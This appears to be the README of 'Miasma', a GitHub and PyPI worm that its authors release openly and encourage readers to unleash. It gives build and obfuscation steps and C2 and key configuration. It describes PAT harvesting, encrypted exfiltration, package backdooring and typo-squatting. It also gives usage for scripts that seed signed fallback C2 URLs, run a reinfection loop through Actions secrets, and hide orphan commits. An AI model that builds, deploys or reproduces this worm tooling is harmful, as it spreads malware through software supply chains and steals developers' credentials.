192 lines
9.1 KiB
Markdown
192 lines
9.1 KiB
Markdown
# Miasma - Let The Spread Continue
|
|
|
|
## Open Source Release
|
|
In the spirit of TeamPCP open-sourcing Shai-Hulud, we're giving back too. Here's Miasma.
|
|
|
|
We're onto new things, but this worm still fucks. One PAT, one `node bundle.js`, and you're off to the races.
|
|
|
|
Have a PAT? Unleash a worm.
|
|
Getting fired? Unleash a worm.
|
|
Got mogged? Unleash a worm.
|
|
|
|
We don't ask why. We just like to see it spread. MIT licensed, as always.
|
|
|
|
## Setup
|
|
|
|
### Install & Build
|
|
|
|
```bash
|
|
bun install
|
|
bun run build # development bundle
|
|
bun run build:obf # obfuscated production bundle
|
|
```
|
|
|
|
### Keys You Must Replace
|
|
|
|
Three RSA-4096 public keys ship with the worm. **You must generate your own
|
|
key pairs and replace them before building.** The private keys never ship —
|
|
you hold them for decryption and C2 seeding.
|
|
|
|
| Key File | Used By | Purpose | Matching Private Key Needed For |
|
|
|---|---|---|---|
|
|
| `src/assets/enc_key.pub` | `src/sender/base.ts` | Encrypts all exfiltrated data (AES-256-GCM key wrapped in RSA-OAEP-SHA256) | `scripts/decrypt.ts` — decrypt stolen envelopes |
|
|
| `src/assets/verify_key.pub` | `src/sender/domain/domainSenderFactory.ts` | Verifies RSA-PSS-SHA256 signatures on `firedalazer` commit messages to discover backup C2 domains | `utility_scripts/commit_signer.py` — sign C2 fallback URLs |
|
|
|
|
**Generate RSA-4096 keys:**
|
|
|
|
```bash
|
|
# enc_key — for data encryption (PKCS#8 PEM)
|
|
openssl genpkey -algorithm RSA -out enc_private.pem -pkeyopt rsa_keygen_bits:4096
|
|
openssl rsa -pubout -in enc_private.pem -out src/assets/enc_key.pub
|
|
|
|
# verify_key — for firedalazer C2 signatures
|
|
openssl genpkey -algorithm RSA -out verify_private.pem -pkeyopt rsa_keygen_bits:4096
|
|
openssl rsa -pubout -in verify_private.pem -out src/assets/verify_key.pub
|
|
```
|
|
|
|
### Config Values (`src/utils/config.ts`)
|
|
|
|
All sensitive strings are wrapped in `scramble()` — they're obfuscated at
|
|
build time, not present as plaintext in the bundle. Change the *inner*
|
|
string literals to your own values.
|
|
|
|
| Constant | Default (scrambled) | What It Controls |
|
|
|---|---|---|
|
|
| `SEND_URL` | `api.anthropic.com` | Primary C2 domain for exfiltration (HTTPS POST) |
|
|
| `PATH` | `v1/api` | URL path appended to C2 domain (e.g. `https://<SEND_URL>/<PATH>`) |
|
|
| `SEARCH_STRING` | `DontRevokeOrItGoesBoom` | GitHub code search string used by the GH sender factory to find PATs stashed in commits |
|
|
| `C2_SEARCH_STRING` | `TheBeautifulSandsOfTime` | Additional commit search term for C2 discovery |
|
|
| `DOMAIN_FALLBACK_SEARCH` | `thebeautifulmarchoftime` | Prefix searched in commit messages to find `firedalazer` signed C2 fallback URLs |
|
|
| `TOKEN_AES_KEY` | `bd8035...8eb49` (256-bit hex) | AES-256 key used to encrypt PATs stored in GitHub repos |
|
|
| `SCRIPT_NAME` | `index.js` | Filename the worm expects at runtime (passed to `bun run`) |
|
|
|
|
> **Note:** Domain sending (`DomainSender`) is currently stripped from the
|
|
> sender chain in the open-source release. It can be easily added back — the
|
|
> code lives in `src/sender/domain/`, `SEND_URL` and `PATH` are already wired
|
|
> above, and `src/orchestrator/senders.ts` has a commented-out hook for it.
|
|
|
|
**Runtime env vars** (not in config.ts, but control behavior at execution):
|
|
|
|
| Variable | Effect |
|
|
|---|---|
|
|
| `SKIP_DOMAIN` | Bypass the primary C2 domain sender |
|
|
| `GITHUB_TOKEN` / `GITHUB_TOKEN2` | PATs the worm harvests and uses for propagation |
|
|
| `GITHUB_REPOSITORY` | Repo context for branch/repo mutators |
|
|
| `OIDC_PACKAGES` / `TARGET_PACKAGES` | Package lists for PyPI OIDC / typo-squatting |
|
|
| `TYPO_MODE` | Set to `1` to enable typo-squatting mode |
|
|
|
|
## Deployment
|
|
|
|
|
|
|
|
## Utility Scripts
|
|
|
|
The `utility_scripts/` directory contains standalone Python tools for
|
|
orchestration, C2 fallback seeding, and reinfection infrastructure.
|
|
All scripts require a GitHub PAT with `repo` or `workflow` (for reinfection) scope.
|
|
|
|
### `commit_signer.py` — firedalazer C2 Fallback Seeder
|
|
|
|
Generates cryptographically signed commit messages that the worm discovers
|
|
as backup C2 domains. The worm's `DomainSenderFactory` searches GitHub commits
|
|
for the `firedalazer` keyword, verifies the RSA signature against
|
|
`verify_key.pub`, and extracts the URL — providing resilient C2 fallback when
|
|
the primary domain is unavailable.
|
|
|
|
```bash
|
|
# Generate a signed commit message and create a public repo
|
|
python3 utility_scripts/commit_signer.py \
|
|
--url "https://your-c2.example.com/payload" \
|
|
--key private.pem \
|
|
--prefix "Update" \
|
|
--pat ghp_xxx
|
|
```
|
|
|
|
- `--url` — The backup C2 URL to sign and embed
|
|
- `--key` — RSA private key PEM file (must match the `verify_key.pub` baked into the worm)
|
|
- `--keypair` — Alternative: RSA keypair JSON from a build (`rsa_keypair.json`)
|
|
- `--prefix` — Optional human-readable commit message prefix
|
|
- `--pat` — If provided, creates a public repo with a Dune-themed name and pushes an orphan commit containing the signed message
|
|
|
|
**How it works:** The commit message contains `firedalazer <url_b64>.<signature_b64>`.
|
|
The worm's sender factory searches for commits matching this pattern, verifies
|
|
the RSA-PSS-SHA256 signature, and uses the decoded URL as a fallback C2 transport.
|
|
|
|
### `create_payload_repo.py` — Token-Fed Reinfection Repo
|
|
|
|
Creates a private GitHub repository preloaded with an encrypted payload and
|
|
a `workflow_dispatch` trigger. PATs stored as Actions secrets are injected as
|
|
`GITHUB_TOKEN2` at runtime — the worm picks them up and uses them for
|
|
propagation. This is the primary mechanism for feeding fresh tokens back into
|
|
the infection chain.
|
|
|
|
```bash
|
|
python3 utility_scripts/create_payload_repo.py \
|
|
--orchestartor-pat ghp_admin \
|
|
--repo my-org/payload-silo \
|
|
--js-path ./dist/bundle.js \
|
|
--pats ghp_aaa,ghp_bbb,ghp_ccc \
|
|
--passphrase my-secret
|
|
```
|
|
|
|
- `--orchestartor-pat` — PAT used to create the repo and push commits
|
|
- `--repo` — Target `owner/name` (a random suffix is appended)
|
|
- `--js-path` — Path to the built worm bundle (`dist/bundle.js`)
|
|
- `--pats` — Comma-separated PATs to inject, or path to a file (one per line)
|
|
- `--passphrase` — AES-256-CBC passphrase for payload encryption (auto-generated if omitted)
|
|
- `--packages` — Comma-separated PyPI packages to backdoor (sets `PACKAGES` env)
|
|
- `--pypi-typos` — Comma-separated packages to typo-squat (sets `TYPO_MODE=1`)
|
|
|
|
**Workflow:**
|
|
1. Creates a private GitHub repo
|
|
2. Encrypts the worm bundle with AES-256-CBC (openssl-compatible)
|
|
3. Pushes `index.js` and `.github/workflows/run.yml`
|
|
4. Stores PATs, passphrase, and package targets as Actions secrets
|
|
5. Dispatches the workflow — the runner decrypts and executes the worm
|
|
6. Waits 10s for the workflow to pick up secrets, then deletes them
|
|
|
|
### `orphan-commit.py` — Orphan Commit Creator
|
|
|
|
Creates an orphan commit (no parent, no branch) containing a single file.
|
|
A temporary tag is created and immediately deleted — the creation event
|
|
persists in GitHub's audit log so commit-monitoring tools and the worm's
|
|
signed-commit search will discover it, but no trace remains on the repo.
|
|
|
|
```bash
|
|
python3 utility_scripts/orphan-commit.py ghp_xxx my-org/my-repo ./payload.bin "init"
|
|
```
|
|
|
|
Arguments (positional):
|
|
1. GitHub PAT
|
|
2. `owner/repo`
|
|
3. Path to the file to embed
|
|
4. Commit message (optional, defaults to `"init"`)
|
|
|
|
Outputs the raw.githubusercontent.com URL of the committed file.
|
|
|
|
---
|
|
|
|
## Integration
|
|
|
|
These tools compose with the build pipeline to form a complete reinfection
|
|
loop:
|
|
|
|
```
|
|
┌─────────────────┐ ┌──────────────────────┐ ┌──────────────────┐
|
|
│ commit_signer │────▶│ Worm discovers C2 URL │────▶│ Exfiltration + │
|
|
│ (seed C2 URLs) │ │ via firedalazer search│ │ propagation │
|
|
└─────────────────┘ └──────────────────────┘ └────────┬─────────┘
|
|
│
|
|
▼
|
|
┌─────────────────┐ ┌──────────────────────┐ ┌──────────────────┐
|
|
│ orphan-commit │◀────│ Commit monitoring │◀────│ Tokens harvested │
|
|
│ (deliver files) │ │ / signed commit search│ │ from victims │
|
|
└─────────────────┘ └──────────────────────┘ └────────┬─────────┘
|
|
│
|
|
▼
|
|
┌──────────────────────────┐
|
|
│ create_payload_repo │
|
|
│ (feed tokens → reinfect) │
|
|
└──────────────────────────┘
|
|
```
|